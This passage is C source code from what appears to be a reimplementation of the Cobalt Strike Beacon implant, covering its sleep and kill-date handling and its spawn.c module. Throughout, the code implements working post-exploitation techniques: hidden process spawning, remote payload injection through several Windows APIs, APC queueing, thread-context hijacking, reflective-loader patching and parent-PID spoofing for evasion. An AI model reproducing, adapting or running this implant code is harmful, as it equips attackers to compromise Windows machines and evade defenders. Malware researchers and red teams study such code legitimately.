BeaconDataParse(&parser, buffer, length);
gSleepTime = BeaconDataInt(&parser);
int jitter = BeaconDataInt(&parser);
if (jitter >= 100)
jitter = 0;
gJitter = jitter;
BeaconDataZero(&parser);
}
void Pause(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int millis = BeaconDataInt(&parser);
Sleep(millis);
}
BOOL BeaconIsExpired()
{
if(S_KILLDATE)
{
SYSTEMTIME now;
GetSystemTime(&now);
long time = now.wDay + 100 * (now.wMonth + 100 * now.wYear);
return time >= S_KILLDATE;
}
return FALSE;
}
[[noreturn]] void BeaconInterrupt()
{
if(S_EXIT_FUNK == TRUE)
{
if (S_CFG_CAUTION == TRUE)
{
while (TRUE)
Sleep(1000);
}
else
{
ExitThread(0);
}
} else {
if (S_CFG_CAUTION == TRUE) {
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExitProcess, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
else
{
ExitProcess(0);
}
}
}
================================================
FILE: Beacon/self.h
================================================
#pragma once
void Die(void);
void SleepSet(char* buffer, int length);
void Pause(char* buffer, int length);
================================================
FILE: Beacon/spawn.c
================================================
#include "pch.h"
#include "spawn.h"
#include <tlhelp32.h>
#include <winternl.h>
#include "beacon.h"
#include "settings.h"
#include "argument.h"
#include "beacon.h"
#include "identity.h"
#include "utils.h"
int gParentPid;
void Spawn(char* data, int size, BOOL x86, BOOL ignoreToken)
{
IdentityConditionalRevert(ignoreToken);
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0 };
/* get the startup information of the current process */
GetStartupInfoA(&si);
// Indicate the attributes of the process to be created.
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // means: use the following handles and show the window
si.wShowWindow = SW_HIDE; // means: don't show the window
// clear the standard input
memset(&si.hStdInput, 0, sizeof(si.hStdInput));
// Spawn a temporary process.
if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi))
{
Sleep(100);
// Inject the payload into the spawned process using InjectProcess.
BeaconInjectTemporaryProcess(&pi, data, size, 0, NULL, 0);
BeaconCleanupProcess(&pi);
}
IdentityConditionalImpersonate(ignoreToken);
}
void SpawnAndPing(char* data, int size, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, data, size);
short port = BeaconDataShort(&parser);
CHAR* spawnData = BeaconDataBuffer(&parser);
SIZE_T spawnSize = BeaconDataLength(&parser);
Spawn(spawnData, spawnSize, x86, TRUE);
port = htons(port);
BeaconOutput(CALLBACK_PING, (char*)&port, sizeof(port));
}
char* gSpawnToX86 = NULL;
char* gSpawnToX64 = NULL;
DWORD SpawnToExpand(char* expanded, size_t size, BOOL x86)
{
char lBuffer[256] = { 0 };
char* spawnTo;
if (x86)
{
if (gSpawnToX86 == NULL || strlen(gSpawnToX86) == 0)
{
spawnTo = S_SPAWNTO_X86;
}
else
{
LERROR("gSpawnToX86 is not NULL or empty");
}
}
else
{
if (gSpawnToX64 == NULL || strlen(gSpawnToX64) == 0)
{
spawnTo = S_SPAWNTO_X64;
}
else
{
LERROR("gSpawnToX64 is not NULL or empty");
}
}
snprintf(lBuffer, sizeof(lBuffer), "%s", spawnTo);
return ExpandEnvironmentStrings_s(lBuffer, expanded, size);
}
#define MAX_CMD 256
void SpawnToFix(BOOL x86, char* cmd)
{
memset(cmd, 0, MAX_CMD);
SpawnToExpand(cmd, MAX_CMD, x86);
if (!x86)
{
// look for the substring "sysnative" in cmd
char* substr = strstr(cmd, "sysnative");
if (!substr)
return;
char aux[MAX_CMD] = { 0 };
memcpy(substr, "system32", STRLEN("system32"));
// copy the rest of the string
char* after = substr + STRLEN("sysnative");
int afterLength = strlen(after);
memcpy(aux, after, afterLength);
memcpy(substr + STRLEN("system32"), aux, strlen(aux) + 1);
}
}
/**
* @brief Gets the spawn path based on the architecture.
*
* This function retrieves the spawn path depending on the architecture (x86 or x64).
* The result is stored in the provided buffer after expanding any environment variables.
*
* @param x86 Flag indicating whether the architecture is x86 (TRUE) or x64 (FALSE).
* @param buffer A pointer to the buffer where the spawn path will be stored.
* @param length The size of the buffer in bytes.
*/
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
{
char cmd[MAX_CMD];
SpawnToFix(x86, cmd);
int size = min(length, MAX_CMD);
memcpy(buffer, cmd, size);
}
typedef struct _INJECTION
{
DWORD pid;
HANDLE process;
BOOL isX64;
BOOL isProcessX64;
BOOL isSameArchAsHostSystem;
BOOL isSamePid;
BOOL isTemporary;
HANDLE thread;
} INJECTION;
;
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
typedef WINBASEAPI HMODULE(WINAPI* FN_KERNEL32_LOADLIBRARYA)(_In_ LPCSTR lpLibFileName);
typedef WINBASEAPI FARPROC(WINAPI* FN_KERNEL32_GETPROCADDRESS)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef WINBASEAPI LPVOID(WINAPI* FN_KERNEL32_VIRTUALALLOC)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_VIRTUALPROTECT)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect);
typedef CLIENT_ID* PCLIENT_ID;
typedef NTSTATUS(NTAPI* FN_NTDLL_RTLCREATEUSERTHREAD)(_In_ HANDLE ProcessHandle, _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_ BOOLEAN CreateSuspended, _In_opt_ ULONG StackZeroBits, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit, _In_ PVOID StartAddress, _In_opt_ PVOID Parameter, _Out_opt_ PHANDLE ThreadHandle, _Out_opt_ PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* FN_NTDLL_NTQUEUEAPCTHREAD)(_In_ HANDLE ThreadHandle, _In_ PVOID ApcRoutine, _In_ PVOID ApcRoutineContext OPTIONAL, _In_ PVOID ApcStatusBlock OPTIONAL, _In_ PVOID ApcReserved OPTIONAL);
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
typedef NTSTATUS(NTAPI* FN_NTDLL_NTMAPVIEWOFSECTION)(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize, _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, _In_ SECTION_INHERIT InheritDisposition, _In_ ULONG AllocationType, _In_ ULONG Win32Protect);
BOOL IsWow64ProcessEx(HANDLE hProcess)
{
HMODULE hModule = GetModuleHandleA("kernel32");
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
if (_IsWow64Process == NULL)
{
LERROR("kernel32$IsWow64Process: IsWow64Process is NULL");
return FALSE;
}
BOOL Wow64Process = FALSE;
return _IsWow64Process(hProcess, &Wow64Process) && Wow64Process;
}
BOOL IsProcess64Bit(HANDLE hProcess)
{
if (!IS_X64() && !IsWow64ProcessEx(GetCurrentProcess()))
return FALSE;
return !IsWow64ProcessEx(hProcess);
}
typedef struct _PAYLOAD
{
SHORT mzSignature;
char _[982];
FN_KERNEL32_LOADLIBRARYA pLoadLibraryA;
FN_KERNEL32_GETPROCADDRESS pGetProcAddress;
FN_KERNEL32_VIRTUALALLOC pVirtualAlloc;
FN_KERNEL32_VIRTUALPROTECT pVirtualProtect;
DWORD keyPtrMagic;
DWORD smartInjectMagic;
} PAYLOAD;
char* InjectViaNtMapViewOfSection(HANDLE handle, DWORD pid, const char* payload, int size)
{
/* determine the minimum allocation size based on S_PROCINJ_MINALLOC */
int dwSize = max(S_PROCINJ_MINALLOC, size);
/* get the handle to the ntdll module */
HMODULE hModule = GetModuleHandleA("ntdll.dll");
/* get the address of the NtMapViewOfSection function */
FN_NTDLL_NTMAPVIEWOFSECTION _NtMapViewOfSection = (FN_NTDLL_NTMAPVIEWOFSECTION)GetProcAddress(hModule, "NtMapViewOfSection");
/* check if the function was found */
if (_NtMapViewOfSection == NULL)
return NULL;
/* create a file mapping object */
HANDLE hFileMapping = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, dwSize, NULL);
LPVOID lpBaseAddress = NULL;
/* check if the file mapping object was created */
if (hFileMapping != INVALID_HANDLE_VALUE)
{
// map a view of the file into the process's address space (use MapViewOfFile)
LPVOID lpFileMap = MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwSize);
// check if the file was mapped
if (lpFileMap)
{
// copy the payload into the mapped file
memcpy(lpFileMap, payload, size);
// call NtMapViewOfSection to map the file into the target process
SIZE_T dwViewSize = 0;
NTSTATUS status = _NtMapViewOfSection(hFileMapping, handle, &lpBaseAddress, 0, 0, NULL, &dwViewSize, ViewShare, 0, S_PROCINJ_PERMS);
// unmap the file from the current process
UnmapViewOfFile(lpFileMap);
}
// close the file mapping object
CloseHandle(hFileMapping);
}
if (lpBaseAddress == NULL) {
const DWORD lastError = GetLastError();
LERROR("Allocate section and copy data failed: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ALLOC_SECTION_FAILED, lastError);
return NULL;
}
return (char*)lpBaseAddress;
}
char* InjectViaVirtualAllocEx(HANDLE hProcess, DWORD pid, const char* payload, int size)
{
/* determine the minimum allocation size based on S_PROCINJ_MINALLOC */
int dwSize = max(S_PROCINJ_MINALLOC, size);
/* allocate memory in the target process */
LPBYTE lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);
/* check if the memory was allocated */
if (lpBaseAddress == NULL)
{
const DWORD lastError = GetLastError();
LERROR("Could not allocate %d bytes in process: %s", dwSize, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_LOCAL_ALLOC_FAILED, dwSize, lastError);
return NULL;
}
int wrote = 0;
for (int total = 0; total < size; total += wrote)
{
if (!WriteProcessMemory(hProcess, lpBaseAddress + total, payload + total, size - total, &wrote))
{
DWORD lastError = GetLastError();
LERROR("Could not write to process memory: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_WRITE_TO_PROC_MEMORY_FAILED, lastError);
VirtualFree(lpBaseAddress, 0, MEM_RELEASE);
return NULL;
}
}
if (S_PROCINJ_PERMS_I != S_PROCINJ_PERMS)
{
DWORD flOldProtect;
if (!VirtualProtectEx(hProcess, lpBaseAddress, dwSize, S_PROCINJ_PERMS, &flOldProtect))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust permissions in process: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_PERMISSIONS_FAILED, lastError);
VirtualFree(lpBaseAddress, 0, MEM_RELEASE);
return NULL;
}
}
return (char*)lpBaseAddress;
}
char* InjectRemotely(INJECTION* injection, const char* payload, int size)
{
if (S_PROCINJ_ALLOCATOR && injection->isSameArchAsHostSystem)
{
return InjectViaNtMapViewOfSection(injection->process, injection->pid, payload, size);
}
else
{
return InjectViaVirtualAllocEx(injection->process, injection->pid, payload, size);
}
}
BOOL AdjustMemoryPermissions(char* payload, int size) {
if (S_PROCINJ_PERMS_I == S_PROCINJ_PERMS)
return TRUE;
DWORD flOldProtect;
if (!VirtualProtect(payload, size, S_PROCINJ_PERMS, &flOldProtect))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust permissions in process: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_PERMISSIONS_FAILED, lastError);
return FALSE;
}
return TRUE;
}
char* InjectLocally(char* payload, int size)
{
int dwSize = S_PROCINJ_MINALLOC;
if (size > dwSize)
dwSize = size + 1024;
char* pAlloc = (char*)VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);
if (!pAlloc)
{
DWORD lastError = GetLastError();
LERROR("Could not allocate %d bytes in process: %s", dwSize, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_LOCAL_ALLOC_FAILED, dwSize, lastError);
return NULL;
}
memcpy(pAlloc, payload, size);
if (AdjustMemoryPermissions(pAlloc, dwSize))
{
return pAlloc;
}
VirtualFree(pAlloc, 0, MEM_RELEASE);
return NULL;
}
void InjectIntoPid(char* buffer, int length, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
int payloadOffset = BeaconDataInt(&parser);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
if (hProcess == NULL)
{
int lastError = GetLastError();
LERROR("Could not open process %d: %s", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_OPEN_PROCESS_FAILED, pid, lastError);
return;
}
BOOL isProcessX64 = IsProcess64Bit(hProcess);
if(x86 == isProcessX64)
{
int type;
if (isProcessX64)
{
LERROR("%d is a x64 process (can't inject x86 content)", pid);
type = ERROR_INJECT_X86_INTO_X64;
} else {
LERROR("%d is a x86 process (can't inject x64 content)", pid);
type = ERROR_INJECT_X64_INTO_X86;
}
BeaconErrorD(type, pid);
return;
}
int len = BeaconDataLength(&parser);
char* payload = BeaconDataBuffer(&parser);
BeaconInjectProcess(hProcess, pid, payload, len, payloadOffset, NULL, 0);
CloseHandle(hProcess);
}
void InjectIntoPidAndPing(char* buffer, int length, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
int size = BeaconDataLength(&parser);
char* payload = BeaconDataBuffer(&parser);
InjectIntoPid(payload, size, x86);
port = htons(port);
BeaconOutput(CALLBACK_PING, (char*)&port, sizeof(port));
}
BOOL ExecuteViaCreateRemoteThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter)
{
return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, NULL) != NULL;
}
BOOL ExecuteViaRtlCreateUserThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter)
{
HMODULE hModule = GetModuleHandleA("ntdll.dll");
FN_NTDLL_RTLCREATEUSERTHREAD _RtlCreateUserThread = (FN_NTDLL_RTLCREATEUSERTHREAD)GetProcAddress(hModule, "RtlCreateUserThread");
if (_RtlCreateUserThread == NULL)
{
LERROR("Cannot find RtlCreateUserThread in ntdll.dll");
return FALSE;
}
CLIENT_ID ClientId;
HANDLE hThread = NULL;
_RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, lpStartAddress, lpParameter, &hThread, &ClientId);
return hThread != NULL;
}
BOOL ExecuteViaNtQueueApcThread_s(INJECTION* injection, LPVOID lpStartAddress, LPVOID lpParameter)
{
HMODULE hModule = GetModuleHandleA("ntdll");
FN_NTDLL_NTQUEUEAPCTHREAD _NtQueueApcThread = (FN_NTDLL_NTQUEUEAPCTHREAD)GetProcAddress(hModule, "NtQueueApcThread");
if (_NtQueueApcThread == NULL)
return FALSE;
if (_NtQueueApcThread(injection->thread, lpStartAddress, lpParameter, NULL, NULL) != 0)
return FALSE;
return ResumeThread(injection->thread) != -1;
}
//CreateThread typedef
typedef HANDLE(WINAPI* FN_KERNEL32_CREATETHREAD)(_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ __drv_aliasesMem LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId);
typedef struct _APC_ROUTINE_CONTEXT
{
LPVOID lpStartAddress;
LPVOID lpAddress;
FN_KERNEL32_CREATETHREAD pCreateThread;
BOOL isExecuted;
CHAR payload[];
} APC_ROUTINE_CONTEXT, * PAPC_ROUTINE_CONTEXT;
#if IS_X64()
#define TEB$ActivationContextStack() ((char*)NtCurrentTeb() + 0x2c8)
#else
#define TEB$ActivationContextStack() ((char*)NtCurrentTeb() + 0x1a8)
#endif
#pragma code_seg(push, ".text$KKK000")
__declspec(noinline) void NtQueueApcThreadProc(PAPC_ROUTINE_CONTEXT pData)
{
if (pData->isExecuted)
return;
if (!(TEB$ActivationContextStack()))
return;
pData->isExecuted = TRUE;
pData->pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pData->lpStartAddress, pData->lpAddress, 0, NULL);
}
#pragma code_seg(pop)
#pragma code_seg(push, ".text$KKK001")
__declspec(noinline) void NtQueueApcThreadProc_End(void) {}
#pragma code_seg(pop)
BOOL ExecuteViaNtQueueApcThread(INJECTION* injection, LPVOID lpStartAddress, LPVOID lpParameter)
{
HMODULE hModule = GetModuleHandleA("ntdll");
FN_NTDLL_NTQUEUEAPCTHREAD _NtQueueApcThread = (FN_NTDLL_NTQUEUEAPCTHREAD)GetProcAddress(hModule, "NtQueueApcThread");
SIZE_T payloadSize = (DWORD64)NtQueueApcThreadProc_End - (DWORD64)NtQueueApcThreadProc;
SIZE_T dwSize = sizeof(APC_ROUTINE_CONTEXT) + payloadSize;
PAPC_ROUTINE_CONTEXT pAllocedData = malloc(dwSize);
if (!pAllocedData)
return FALSE;
APC_ROUTINE_CONTEXT data = (APC_ROUTINE_CONTEXT){ lpStartAddress, lpParameter, CreateThread, FALSE };
*pAllocedData = data;
memcpy(pAllocedData->payload, (PVOID)NtQueueApcThreadProc, payloadSize);
APC_ROUTINE_CONTEXT* lpApcContext = VirtualAllocEx(injection->process, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T wrote;
if (lpApcContext && WriteProcessMemory(injection->process, lpApcContext, pAllocedData, dwSize, &wrote) && wrote != dwSize)
lpApcContext = NULL;
free(pAllocedData);
if ((char*)lpApcContext == NULL)
return FALSE;
// Create a toolhelp snapshot of the process
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
// Check if snapshot creation failed or there are no threads in the process
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (hSnapshot == INVALID_HANDLE_VALUE || hSnapshot == NULL || !Thread32First(hSnapshot, &te32))
return FALSE;
// Iterate through the threads in the snapshot
do
{
// Check if the thread is in the process we want to inject into
if (te32.th32OwnerProcessID != injection->pid)
continue;
// Open the thread
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (hThread == NULL)
continue;
// Call the NtQueueApcThread function in the target process
(_NtQueueApcThread)(hThread, lpApcContext->payload, lpApcContext, NULL, NULL);
// Close the thread
CloseHandle(hThread);
} while (Thread32Next(hSnapshot, &te32));
// Close the snapshot handle
CloseHandle(hSnapshot);
// Sleep to give the thread time to execute
Sleep(200);
// Read the APC thread data from the allocated memory
SIZE_T read;
if (!ReadProcessMemory(injection->process, lpApcContext, &data, sizeof(APC_ROUTINE_CONTEXT), &read) || read != sizeof(APC_ROUTINE_CONTEXT))
return FALSE;
// Return TRUE if the thread was executed
if (data.isExecuted)
return TRUE;
// Mark the thread as executed and write it back to the allocated memory
data.isExecuted = TRUE;
WriteProcessMemory(injection->process, lpApcContext, &data, sizeof(APC_ROUTINE_CONTEXT), &read);
return FALSE;
}
#define METHOD_CREATE_THREAD 1
#define METHOD_SET_THREAD_CONTEXT 2
#define METHOD_CREATE_REMOTE_THREAD 3
#define METHOD_RTL_CREATE_USER_THREAD 4
#define METHOD_NT_QUEUE_APC_THREAD 5
#define METHOD_CREATE_THREAD_S 6
#define METHOD_CREATE_REMOTE_THREAD_S 7
#define METHOD_NT_QUEUE_APC_THREAD_S 8
BOOL ExecuteViaCreateRemoteThread_s(DWORD option, HANDLE hProcess, LPVOID lpAddress, LPVOID lpParameter, LPCSTR lpModuleName, LPCSTR lpProcName, DWORD ordinal)
{
HANDLE hModule = GetModuleHandleA(lpModuleName);
BYTE* processAddress = (BYTE*)GetProcAddress(hModule, lpProcName);
if (!processAddress)
return FALSE;
BYTE* finalAddress = processAddress + ordinal;
HANDLE hThread;
if (option == METHOD_CREATE_REMOTE_THREAD_S)
{
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)finalAddress, lpParameter, CREATE_SUSPENDED, NULL);
}
else if (option == METHOD_CREATE_THREAD_S)
{
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)finalAddress, lpParameter, CREATE_SUSPENDED, NULL);
}
else
{
return FALSE;
}
if (!hThread)
return FALSE;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &context))
return FALSE;
#if IS_X64()
context.Rcx = (DWORD64)lpAddress;
#else
context.Eax = (DWORD)lpAddress;
#endif
if (!SetThreadContext(hThread, &context))
return FALSE;
return ResumeThread(hThread) != -1;
}
BOOL ExecuteViaSetThreadContext(INJECTION* injection, CHAR* lpStartAddress, LPVOID lpParameter)
{
HANDLE hThread = injection->thread;
#if IS_X64()
if (!injection->isProcessX64)
{
WOW64_CONTEXT context;
context.ContextFlags = CONTEXT_INTEGER;
if (!Wow64GetThreadContext(hThread, &context))
return FALSE;
context.Eax = (DWORD)lpStartAddress;
if (!Wow64SetThreadContext(hThread, &context))
return FALSE;
}
else
#endif
{
CONTEXT context;
context.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(hThread, &context))
return FALSE;
#if IS_X64()
context.Rcx = (DWORD64)lpStartAddress;
context.Rdx = (DWORD64)lpParameter;
#else
context.Eax = (DWORD)lpStartAddress;
#endif
if (!SetThreadContext(hThread, &context))
return FALSE;
}
return ResumeThread(hThread) != -1;
}
BOOL ExecuteViaCreateThread(INJECTION* injection, CHAR* lpStartAddress, LPVOID lpParameter)
{
return CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, NULL) != NULL;
}
BOOL ExecuteInjection(INJECTION* injection, CHAR* lpStartAddress, DWORD offset, LPVOID lpParameter)
{
datap parser;
BeaconDataParse(&parser, S_PROCINJ_EXECUTE, 128);
SHORT ordinal; CHAR* lpModuleName; CHAR* lpProcName;
while (char method = BeaconDataByte(&parser))
{
switch (method)
{
case METHOD_CREATE_REMOTE_THREAD:
if (ExecuteViaCreateRemoteThread(injection->process, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_RTL_CREATE_USER_THREAD:
if (ExecuteViaRtlCreateUserThread(injection->process, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_NT_QUEUE_APC_THREAD_S:
if (!injection->isTemporary || !injection->isSameArchAsHostSystem)
continue;
if (ExecuteViaNtQueueApcThread_s(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_CREATE_REMOTE_THREAD_S:
ordinal = BeaconDataShort(&parser);
lpModuleName = BeaconDataStringPointer(&parser);
lpProcName = BeaconDataStringPointer(&parser);
if (!injection->isSameArchAsHostSystem)
continue;
if (ExecuteViaCreateRemoteThread_s(METHOD_CREATE_REMOTE_THREAD_S, injection->process, lpStartAddress + offset, lpParameter, lpModuleName, lpProcName, ordinal))
return TRUE;
break;
case METHOD_CREATE_THREAD_S:
ordinal = BeaconDataShort(&parser);
lpModuleName = BeaconDataStringPointer(&parser);
lpProcName = BeaconDataStringPointer(&parser);
if (!injection->isSamePid)
continue;
if (ExecuteViaCreateRemoteThread_s(METHOD_CREATE_THREAD_S, injection->process, lpStartAddress + offset, lpParameter, lpModuleName, lpProcName, ordinal))
return TRUE;
break;
case METHOD_NT_QUEUE_APC_THREAD:
if (injection->isSamePid || !injection->isSameArchAsHostSystem || injection->isTemporary)
continue;
if (ExecuteViaNtQueueApcThread(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_SET_THREAD_CONTEXT:
if (!injection->isTemporary)
continue;
if (ExecuteViaSetThreadContext(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_CREATE_THREAD:
if (!injection->isSamePid)
continue;
if (ExecuteViaCreateThread(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
default:
return FALSE;
}
}
}
void InjectAndExecute(INJECTION* injection, char* payload, int size, int pOffset, char* parameter)
{
char* target;
if (injection->isSamePid)
target = InjectLocally(payload, size);
else
target = InjectRemotely(injection, payload, size);
if (!target)
return;
if (!ExecuteInjection(injection, target, pOffset, parameter))
{
DWORD lastError = GetLastError();
LERROR("Could not create remote thread in %d: %s", injection->pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_CREATE_REMOTE_THREAD_FAILED, injection->pid, lastError);
}
}
#define REFLECTIVE_LOADER_SIZE 51200
void BeaconInjectProcessInternal(PROCESS_INFORMATION* processInfo, HANDLE hProcess, int pid, char* payload, int pLen,
int pOffset, char* str, int aLen)
{
INJECTION injection;
injection.pid = pid;
injection.process = hProcess;
injection.isX64 = IS_X64();
injection.isProcessX64 = IsProcess64Bit(hProcess);
injection.isSameArchAsHostSystem = injection.isProcessX64 == IS_X64();
injection.isSamePid = pid == GetCurrentProcessId();
injection.isTemporary = processInfo != NULL;
injection.thread = injection.isTemporary ? processInfo->hThread : NULL;
PAYLOAD* maskedPayload = (PAYLOAD*)payload;
if (pLen >= REFLECTIVE_LOADER_SIZE && maskedPayload->mzSignature == IMAGE_DOS_SIGNATURE && maskedPayload->smartInjectMagic == 0xF4F4F4F4)
{
if (injection.isSameArchAsHostSystem)
{
maskedPayload->pGetProcAddress = GetProcAddress;
maskedPayload->pLoadLibraryA = LoadLibraryA;
maskedPayload->pVirtualAlloc = VirtualAlloc;
maskedPayload->pVirtualProtect = VirtualProtect;
maskedPayload->keyPtrMagic = 0xF00D;
}
}
datap parser;
BeaconDataParse(&parser, IS_X64() ? S_PROCINJ_TRANSFORM_X64 : S_PROCINJ_TRANSFORM_X86, 256);
int prependSize = BeaconDataInt(&parser);
char* prepend = BeaconDataPtr(&parser, prependSize);
int appendSize = BeaconDataInt(&parser);
char* append = BeaconDataPtr(&parser, appendSize);
char* parameter;
if (aLen <= 0)
parameter = 0;
else
parameter = InjectRemotely(&injection, str, aLen);
if (prependSize || appendSize)
{
formatp format;
BeaconFormatAlloc(&format, prependSize + appendSize + pLen + 16);
BeaconFormatAppend(&format, prepend, prependSize);
BeaconFormatAppend(&format, payload, pLen);
BeaconFormatAppend(&format, append, appendSize);
pOffset += prependSize;
pLen = BeaconFormatLength(&format);
payload = BeaconFormatOriginal(&format);
InjectAndExecute(&injection, payload, pLen, pOffset, parameter);
BeaconFormatFree(&format);
}
else
{
InjectAndExecute(&injection, payload, pLen, pOffset, parameter);
}
}
BOOL gBlockDlls;
void BlockDlls(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
gBlockDlls = BeaconDataInt(&parser) != 0;
}
LPPROC_THREAD_ATTRIBUTE_LIST ProcThreadAttributeListInit(DWORD dwAttributeCount)
{
// Initialize the process attribute list
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, dwAttributeCount, 0, &size);
HANDLE processHeap = GetProcessHeap();
LPVOID attributeList = HeapAlloc(processHeap, 0, size);
if (attributeList == NULL)
return FALSE;
if (!InitializeProcThreadAttributeList(attributeList, dwAttributeCount, 0, &size))
return FALSE;
return attributeList;
}
typedef struct _RUN_UNDER_CONTEXT {
HANDLE handle;
ULONG64 processAttribute;
UINT previousErrorMode;
BOOL(WINAPI* updateProcessAttributes)(struct _RUN_UNDER_CONTEXT*, DWORD, LPPROC_THREAD_ATTRIBUTE_LIST, STARTUPINFO*);
VOID(WINAPI* cleanup)(const struct _RUN_UNDER_CONTEXT*);
} RUN_UNDER_CONTEXT, * PRUN_UNDER_CONTEXT;
BOOL UpdateParentProcessContext(PRUN_UNDER_CONTEXT context, DWORD parentPid, LPPROC_THREAD_ATTRIBUTE_LIST attributeList, STARTUPINFO* si)
{
// Open the parent process with full access
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPid);
if (hProcess == NULL)
{
DWORD lastError = GetLastError();
LERROR("Could not set PID to %d: %s", parentPid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_SET_PID_FAILED, parentPid, lastError);
return FALSE;
}
// Store the handle to the parent process
context->handle = hProcess;
// Update the process attribute list
if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not update process attribute: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED, lastError);
return FALSE;
}
if (si->hStdOutput && si->hStdError && si->hStdOutput == si->hStdError)
{
DuplicateHandle(GetCurrentProcess(), si->hStdOutput, hProcess, &si->hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
si->hStdError = si->hStdOutput;
}
else
{
if (si->hStdOutput)
{
DuplicateHandle(GetCurrentProcess(), si->hStdOutput, hProcess, &si->hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
}
if (si->hStdError)
{
DuplicateHandle(GetCurrentProcess(), si->hStdError, hProcess, &si->hStdError, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
}
}
return TRUE;
}
void CleanupParentProcessContext(PRUN_UNDER_CONTEXT context)
{
